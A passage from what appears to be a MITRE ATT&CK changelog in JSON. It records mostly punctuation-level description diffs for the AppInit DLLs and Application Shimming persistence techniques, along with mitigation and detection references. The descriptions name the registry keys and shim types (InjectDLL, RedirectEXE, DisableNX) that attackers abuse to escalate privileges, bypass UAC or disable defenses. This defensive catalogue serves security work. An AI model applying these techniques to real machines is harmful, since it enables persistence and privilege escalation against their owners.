Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \\n\\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.(Citation: AppInit Secure Boot)\", \"old_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\\n\\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \\n\\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\\n+Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library.(Citation: Elastic Process Injection July 2017)\\n \\n-Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \\n+Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.(Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \\n \\n-The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\\n+The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.(Citation: AppInit Secure Boot)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][4]\": {\"source_name\": \"TechNet Autoruns\", \"description\": \"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.\", \"url\": \"https://technet.microsoft.com/en-us/sysinternals/bb963902\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to85__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to85__0\"><a href=\"#difflib_chg_to85__top\">t</a></td><td class=\"diff_header\" id=\"from85_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;establish&nbsp;persistence&nbsp;and/or&nbsp;elevate&nbsp;privile</td><td class=\"diff_next\"><a href=\"#difflib_chg_to85__top\">t</a></td><td class=\"diff_header\" id=\"to85_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;establish&nbsp;persistence&nbsp;and/or&nbsp;elevate&nbsp;privile</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ges&nbsp;by&nbsp;executing&nbsp;malicious&nbsp;content&nbsp;triggered&nbsp;by&nbsp;AppInit&nbsp;DLLs</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ges&nbsp;by&nbsp;executing&nbsp;malicious&nbsp;content&nbsp;triggered&nbsp;by&nbsp;AppInit&nbsp;DLLs</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;loaded&nbsp;into&nbsp;processes.&nbsp;Dynamic-link&nbsp;libraries&nbsp;(DLLs)&nbsp;that&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;loaded&nbsp;into&nbsp;processes.&nbsp;Dynamic-link&nbsp;libraries&nbsp;(DLLs)&nbsp;that&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;specified&nbsp;in&nbsp;the&nbsp;&lt;code&gt;AppInit_DLLs&lt;/code&gt;&nbsp;value&nbsp;in&nbsp;the&nbsp;R</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;specified&nbsp;in&nbsp;the&nbsp;&lt;code&gt;AppInit_DLLs&lt;/code&gt;&nbsp;value&nbsp;in&nbsp;the&nbsp;R</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">egistry&nbsp;keys&nbsp;&lt;code&gt;HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Win</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">egistry&nbsp;keys&nbsp;&lt;code&gt;HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Win</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dows&nbsp;NT\\CurrentVersion\\Windows&lt;/code&gt;&nbsp;or&nbsp;&lt;code&gt;HKEY_LOCAL_MA</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dows&nbsp;NT\\CurrentVersion\\Windows&lt;/code&gt;&nbsp;or&nbsp;&lt;code&gt;HKEY_LOCAL_MA</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">CHINE\\Software\\Wow6432Node\\Microsoft\\Windows&nbsp;NT\\CurrentVersi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">CHINE\\Software\\Wow6432Node\\Microsoft\\Windows&nbsp;NT\\CurrentVersi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on\\Windows&lt;/code&gt;&nbsp;are&nbsp;loaded&nbsp;by&nbsp;user32.dll&nbsp;into&nbsp;every&nbsp;proces</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on\\Windows&lt;/code&gt;&nbsp;are&nbsp;loaded&nbsp;by&nbsp;user32.dll&nbsp;into&nbsp;every&nbsp;proces</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;that&nbsp;loads&nbsp;user32.dll.&nbsp;In&nbsp;practice&nbsp;this&nbsp;is&nbsp;nearly&nbsp;every&nbsp;pr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;that&nbsp;loads&nbsp;user32.dll.&nbsp;In&nbsp;practice&nbsp;this&nbsp;is&nbsp;nearly&nbsp;every&nbsp;pr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ogram,&nbsp;since&nbsp;user32.dll&nbsp;is&nbsp;a&nbsp;very&nbsp;common&nbsp;library.<span class=\"diff_sub\">&nbsp;</span>(Citation:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ogram,&nbsp;since&nbsp;user32.dll&nbsp;is&nbsp;a&nbsp;very&nbsp;common&nbsp;library.(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Elastic&nbsp;Process&nbsp;Injection&nbsp;July&nbsp;2017)&nbsp;&nbsp;Similar&nbsp;to&nbsp;Process&nbsp;In</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Elastic&nbsp;Process&nbsp;Injection&nbsp;July&nbsp;2017)&nbsp;&nbsp;Similar&nbsp;to&nbsp;Process&nbsp;Inj</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">jection,&nbsp;these&nbsp;values&nbsp;can&nbsp;be&nbsp;abused&nbsp;to&nbsp;obtain&nbsp;elevated&nbsp;privi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ection,&nbsp;these&nbsp;values&nbsp;can&nbsp;be&nbsp;abused&nbsp;to&nbsp;obtain&nbsp;elevated&nbsp;privil</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">leges&nbsp;by&nbsp;causing&nbsp;a&nbsp;malicious&nbsp;DLL&nbsp;to&nbsp;be&nbsp;loaded&nbsp;and&nbsp;run&nbsp;in&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eges&nbsp;by&nbsp;causing&nbsp;a&nbsp;malicious&nbsp;DLL&nbsp;to&nbsp;be&nbsp;loaded&nbsp;and&nbsp;run&nbsp;in&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;context&nbsp;of&nbsp;separate&nbsp;processes&nbsp;on&nbsp;the&nbsp;computer.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">context&nbsp;of&nbsp;separate&nbsp;processes&nbsp;on&nbsp;the&nbsp;computer.(Citation:&nbsp;App</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ppInit&nbsp;Registry)&nbsp;Malicious&nbsp;AppInit&nbsp;DLLs&nbsp;may&nbsp;also&nbsp;provide&nbsp;per</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Init&nbsp;Registry)&nbsp;Malicious&nbsp;AppInit&nbsp;DLLs&nbsp;may&nbsp;also&nbsp;provide&nbsp;persi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sistence&nbsp;by&nbsp;continuously&nbsp;being&nbsp;triggered&nbsp;by&nbsp;API&nbsp;activity.&nbsp;&nbsp;&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stence&nbsp;by&nbsp;continuously&nbsp;being&nbsp;triggered&nbsp;by&nbsp;API&nbsp;activity.&nbsp;&nbsp;&nbsp;Th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">The&nbsp;AppInit&nbsp;DLL&nbsp;functionality&nbsp;is&nbsp;disabled&nbsp;in&nbsp;Windows&nbsp;8&nbsp;and&nbsp;l</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;AppInit&nbsp;DLL&nbsp;functionality&nbsp;is&nbsp;disabled&nbsp;in&nbsp;Windows&nbsp;8&nbsp;and&nbsp;lat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ater&nbsp;versions&nbsp;when&nbsp;secure&nbsp;boot&nbsp;is&nbsp;enabled.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;AppIni</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;versions&nbsp;when&nbsp;secure&nbsp;boot&nbsp;is&nbsp;enabled.(Citation:&nbsp;AppInit&nbsp;S</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;Secure&nbsp;Boot)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecure&nbsp;Boot)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1038: Execution Prevention",
                            "M1051: Update Software"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0557: Detection Strategy for Event Triggered Execution: AppInit DLLs (Windows)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-24 14:56:24.231000+00:00",
                    "modified": "2026-11-04 03:23:08.594000+00:00",
                    "name": "Application Shimming",
                    "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that they will work with Windows 10.(Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.(Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1546/011",
                            "external_id": "T1546.011"
                        },
                        {
                            "source_name": "FireEye Application Shimming",
                            "description": "Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020.",
                            "url": "http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf"
                        },
                        {
                            "source_name": "Elastic Process Injection July 2017",
                            "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                            "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:23:08.594000+00:00\", \"old_value\": \"2025-10-24 17:48:42.703000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that they will work with Windows 10.(Citation: Elastic Process Injection July 2017)\\n\\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \\n\\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\\n\\n* <code>%WINDIR%\\\\AppPatch\\\\sysmain.sdb</code> and\\n* <code>hklm\\\\software\\\\microsoft\\\\windows nt\\\\currentversion\\\\appcompatflags\\\\installedsdb</code>\\n\\nCustom databases are stored in:\\n\\n* <code>%WINDIR%\\\\AppPatch\\\\custom & %WINDIR%\\\\AppPatch\\\\AppPatch64\\\\Custom</code> and\\n* <code>hklm\\\\software\\\\microsoft\\\\windows nt\\\\currentversion\\\\appcompatflags\\\\custom</code>\\n\\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\\n\\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.(Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.\", \"old_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\\n\\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \\n\\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\\n\\n* <code>%WINDIR%\\\\AppPatch\\\\sysmain.sdb</code> and\\n* <code>hklm\\\\software\\\\microsoft\\\\windows nt\\\\currentversion\\\\appcompatflags\\\\installedsdb</code>\\n\\nCustom databases are stored in:\\n\\n* <code>%WINDIR%\\\\AppPatch\\\\custom & %WINDIR%\\\\AppPatch\\\\AppPatch64\\\\Custom</code> and\\n* <code>hklm\\\\software\\\\microsoft\\\\windows nt\\\\currentversion\\\\appcompatflags\\\\custom</code>\\n\\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\\n\\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\\n+Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that they will work with Windows 10.(Citation: Elastic Process Injection July 2017)\\n \\n Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \\n \\n@@ -14,4 +14,4 @@\\n \\n To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\\n \\n-Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.\\n+Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.(Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][3]\": {\"source_name\": \"Black Hat 2015 App Shim\", \"description\": \"Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.\", \"url\": \"https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to130__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to130__0\"><a href=\"#difflib_chg_to130__top\">t</a></td><td class=\"diff_header\" id=\"from130_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;establish&nbsp;persistence&nbsp;and/or&nbsp;elevate&nbsp;privile</td><td class=\"diff_next\"><a href=\"#difflib_chg_to130__top\">t</a></td><td class=\"diff_header\" id=\"to130_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;establish&nbsp;persistence&nbsp;and/or&nbsp;elevate&nbsp;privile</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ges&nbsp;by&nbsp;executing&nbsp;malicious&nbsp;content&nbsp;triggered&nbsp;by&nbsp;application&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ges&nbsp;by&nbsp;executing&nbsp;malicious&nbsp;content&nbsp;triggered&nbsp;by&nbsp;application&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shims.&nbsp;The&nbsp;Microsoft&nbsp;Windows&nbsp;Application&nbsp;Compatibility&nbsp;Infra</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shims.&nbsp;The&nbsp;Microsoft&nbsp;Windows&nbsp;Application&nbsp;Compatibility&nbsp;Infra</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">structure/Framework&nbsp;(Application&nbsp;Shim)&nbsp;was&nbsp;created&nbsp;to&nbsp;allow&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">structure/Framework&nbsp;(Application&nbsp;Shim)&nbsp;was&nbsp;created&nbsp;to&nbsp;allow&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">for&nbsp;backward&nbsp;compatibility&nbsp;of&nbsp;software&nbsp;as&nbsp;the&nbsp;operating&nbsp;syst</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">for&nbsp;backward&nbsp;compatibility&nbsp;of&nbsp;software&nbsp;as&nbsp;the&nbsp;operating&nbsp;syst</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">em&nbsp;codebase&nbsp;changes&nbsp;over&nbsp;time.&nbsp;For&nbsp;example,&nbsp;the&nbsp;application&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">em&nbsp;codebase&nbsp;changes&nbsp;over&nbsp;time.&nbsp;For&nbsp;example,&nbsp;the&nbsp;application&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shimming&nbsp;feature&nbsp;allows&nbsp;developers&nbsp;to&nbsp;apply&nbsp;fixes&nbsp;to&nbsp;applica</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shimming&nbsp;feature&nbsp;allows&nbsp;developers&nbsp;to&nbsp;apply&nbsp;fixes&nbsp;to&nbsp;applica</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tions&nbsp;(without&nbsp;rewriting&nbsp;code)&nbsp;that&nbsp;were&nbsp;created&nbsp;for&nbsp;Windows</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tions&nbsp;(without&nbsp;rewriting&nbsp;code)&nbsp;that&nbsp;were&nbsp;created&nbsp;for&nbsp;Windows</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;XP&nbsp;so&nbsp;that&nbsp;<span class=\"diff_chg\">it&nbsp;will</span>&nbsp;work&nbsp;with&nbsp;Windows&nbsp;10.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Elastic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;XP&nbsp;so&nbsp;that&nbsp;<span class=\"diff_chg\">they&nbsp;will</span>&nbsp;work&nbsp;with&nbsp;Windows&nbsp;10.(Citation:&nbsp;Elasti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Process&nbsp;Injection&nbsp;July&nbsp;2017)&nbsp;&nbsp;Within&nbsp;the&nbsp;framework,&nbsp;shims&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">c&nbsp;Process&nbsp;Injection&nbsp;July&nbsp;2017)&nbsp;&nbsp;Within&nbsp;the&nbsp;framework,&nbsp;shims&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;created&nbsp;to&nbsp;act&nbsp;as&nbsp;a&nbsp;buffer&nbsp;between&nbsp;the&nbsp;program&nbsp;(or&nbsp;more&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are&nbsp;created&nbsp;to&nbsp;act&nbsp;as&nbsp;a&nbsp;buffer&nbsp;between&nbsp;the&nbsp;program&nbsp;(or&nbsp;more&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pecifically,&nbsp;the&nbsp;Import&nbsp;Address&nbsp;Table)&nbsp;and&nbsp;the&nbsp;Windows&nbsp;OS.&nbsp;W</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">specifically,&nbsp;the&nbsp;Import&nbsp;Address&nbsp;Table)&nbsp;and&nbsp;the&nbsp;Windows&nbsp;OS.&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hen&nbsp;a&nbsp;program&nbsp;is&nbsp;executed,&nbsp;the&nbsp;shim&nbsp;cache&nbsp;is&nbsp;referenced&nbsp;to&nbsp;d</td><td class=\"diff_next\"></td><td 